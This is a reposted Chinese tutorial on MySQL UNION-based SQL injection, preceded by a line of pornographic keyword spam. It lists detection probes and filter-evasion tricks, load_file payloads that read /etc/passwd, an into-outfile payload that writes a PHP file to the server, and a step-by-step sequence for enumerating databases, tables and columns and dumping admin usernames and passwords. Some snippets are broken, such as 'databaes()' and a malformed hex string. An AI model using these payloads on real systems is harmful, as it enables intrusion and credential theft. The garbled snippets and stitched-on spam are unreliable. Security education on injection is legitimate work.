日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

sql注入-union select

發(fā)布時(shí)間:2025/3/21 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sql注入-union select 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

什么是SQL注入

SQL注入(Sql Injection )

  • 是一種將SQL語句插入或添加到應(yīng)用(用戶)的輸入?yún)?shù)中的攻擊
  • 這些參數(shù)傳遞給后臺(tái)的SQL數(shù)據(jù)庫(kù)服務(wù)器加以解析并執(zhí)行
  • 哪里存在SQL注入?

    • GET
    • POST
    • HTTP頭部注入
    • Cookie注入

    任何客戶端可控,傳遞到服務(wù)器的變量,并且和數(shù)據(jù)庫(kù)進(jìn)行交互,都有可能存在sql注入。

    SQL注入的分類

  • 根據(jù)SQL數(shù)據(jù)類型分類
    • 整型注入
    • 字符串類型注入
  • 根據(jù)注入的語法分類
    • UNION query SQL injection(可聯(lián)合查詢注入)
    • Error-based SQL injection(報(bào)錯(cuò)型注入)
    • Boolean-based blind SQL injection(布爾型注入)
    • Time-based blind SQL injection(基于時(shí)間延遲注入)
    • Stacked queries SQL injection(可多語句查詢注入)

    如何去判斷SQL注入漏洞

    • and 1=1 / and 1=2 回顯頁面不同(整形判斷)
    • 單引號(hào)判斷 ‘ 顯示數(shù)據(jù)庫(kù)錯(cuò)誤信息或者頁面回顯不同(整形,字符串類型判斷)
    • \ (轉(zhuǎn)義符)
    • -1/+1 回顯下一個(gè)或上一個(gè)頁面(整型判斷)
    • and sleep(5) (判斷頁面返回時(shí)間)

    MySQL數(shù)據(jù)庫(kù)的特性

    MySQL中3種注釋風(fēng)格
    • # (url編碼為%23)

    • – (–后邊要跟上一個(gè)或多個(gè)空格 --+)

    • /* … */

    • /*! … */ 內(nèi)聯(lián)注釋

      select * /!22222from/ users;(注:22222低于數(shù)據(jù)庫(kù)版本號(hào)(5[0].7.20)就可顯示from)

    MySQL函數(shù)利用
    常用函數(shù)
    • user()
    • database()
    • @@version
    • session_user()
    • @@basedir
    • @@datadir
    • @@version_compile_os
    load_file( )函數(shù) 讀文件操作

    前提

    • 知道文件絕對(duì)路徑
    • 能夠使用union查詢
    • 對(duì)web目錄有寫權(quán)限

    UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
    UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#

    into outfile( )寫文件操作

    前提

    • 文件名必須全路徑(絕對(duì)路徑),
    • 用戶必須有寫文件的權(quán)限
    • 沒有對(duì) ‘ 引號(hào)過濾

    SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’

    連接字符串函數(shù)
    • concat(str1,str2)
    • concat_ws(separator, str1,str2…)
    • group_concat(str1,str2…)
    MySQL中information_scheme庫(kù)

    SCHEMATA表
    字段:SCHEMA_NAME
    TABLES表
    字段:TABLE_SCHEMA, TABLE_NAME
    COLUMNS表
    字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME

    MySQL中UNION規(guī)則
    • UNION必須由兩條或兩條以上的SELECT語句組成,語句之間用關(guān)鍵字UNION分隔
    • UNION中的每個(gè)查詢必須包含相同的列。
    • UNION會(huì)從查詢結(jié)果集中自動(dòng)去除了重復(fù)行。
    • UNION query SQl injection

    利用前提

  • 頁面上有顯示位

    優(yōu)點(diǎn):
    方便、快捷、易于利用
    缺點(diǎn):
    需要顯示位

  • 步驟

  • 判斷列數(shù)

    order by 10
    order by 20
    order by 15

  • 判斷顯示位

    url?id=-1 union select 1,2,3,4,5

  • 獲取當(dāng)數(shù)據(jù)庫(kù)名稱和當(dāng)前連接數(shù)據(jù)庫(kù)的用戶

    url?id=-1 union select 1,2,databaes(),4,5
    url?id=-1 union select 1,2,user(),4,5

  • 列出所有數(shù)據(jù)庫(kù)

    limit 一個(gè)一個(gè)打印出來庫(kù)名
    select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
    group_concat 一次性全部顯示
    select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

  • 列出(數(shù)據(jù)庫(kù):test)中所有的表

    limit 一個(gè)一個(gè)打印出來字段名
    select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
    limit 0,1
    group_concat 一次性全部顯示
    select group_concat(TABLE_NAME) from information_schema.TABLES where
    TABLE_SCHEMA=0x674657374
    注意:數(shù)據(jù)庫(kù)名稱可以用十六進(jìn)制來代替字符串,這樣可以繞過單引號(hào)的限制。

  • 列出(數(shù)據(jù)庫(kù):test 表:admin )中所有的字段

    limit 一個(gè)一個(gè)打印出來
    select COLUMN_NAME from information_schema.COLUMNS where
    TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
    group_concat 一次性全部顯示
    select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
    TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

  • 列出(數(shù)據(jù)庫(kù):test 表:admin )中的數(shù)據(jù)

    limit 一個(gè)一個(gè)打印出來
    select username,passwd from test.admin limit 0,1
    group_concat 把 一次性全部打印
    select group_concat(concat(username,0x20,passwd)) from test.admin
    network

  • 總結(jié)

    以上是生活随笔為你收集整理的sql注入-union select的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。